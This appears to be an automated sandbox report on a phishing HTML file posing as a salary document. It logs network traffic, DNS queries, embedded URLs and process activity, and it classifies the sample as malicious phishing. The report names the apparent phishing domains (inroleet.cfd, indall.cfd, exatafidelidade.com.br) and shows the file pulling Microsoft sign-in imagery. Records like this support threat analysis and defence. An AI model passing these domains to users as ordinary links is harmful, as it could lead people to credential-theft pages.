Source: global traffic	HTTP traffic detected: GET /dashboard/wlqo HTTP/1.1Host: inroleet.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/fkfhskjfk.png HTTP/1.1Host: inroleet.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://inroleet.cfd/dashboard/jdieyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/ekro HTTP/1.1Host: inroleet.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/wlqo HTTP/1.1Host: inroleet.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/fkfhskjfk.png HTTP/1.1Host: inroleet.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/wlqo HTTP/1.1Host: inroleet.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/js HTTP/1.1Host: indall.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/js HTTP/1.1Host: indall.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.6.1/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/ HTTP/1.1Host: indall.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_account_aad_a8332c62695d74843a11daf39a74e552.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_more_ef457519e32834a8087669d5a08bb5fb.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_account_add_77a852ed38516108ced087b72b525d25.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_account_aad_a8332c62695d74843a11daf39a74e552.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_more_ef457519e32834a8087669d5a08bb5fb.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_account_add_77a852ed38516108ced087b72b525d25.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5hLsy2v82oG33kA&MD=TUWNxOpB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: exatafidelidade.com.br
Source: global traffic	DNS traffic detected: DNS query: inroleet.cfd
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: indall.cfd
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/169092501:1715087394:BARsn763lEtPIs7yuOhseVgGcpRzXErFIt9Om1KqmSI/8801cdc8cadc8c54/eecdc0808b453da HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 2662sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: eecdc0808b453dasec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_102.2.dr, chromecache_123.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: hilcorp_Salary_49372_2024.htm	String found in binary or memory: https://code.jquery.com/jquery-3.1.1.min.js
Source: hilcorp_Salary_49372_2024.htm	String found in binary or memory: https://exatafidelidade.com.br/wpimg/dhdfjdf.png
Source: hilcorp_Salary_49372_2024.htm	String found in binary or memory: https://exatafidelidade.com.br/wpimg/ekfhdk

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.8:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.8:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.8:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.8:49786 version: TLS 1.2

Source: classification engine

Classification label: mal100.phis.troj.evad.winHTM@28/66@32/14

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\hilcorp_Salary_49372_2024.htm"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2208,i,6760383206190319568,11150985953312491604,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2208,i,6760383206190319568,11150985953312491604,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
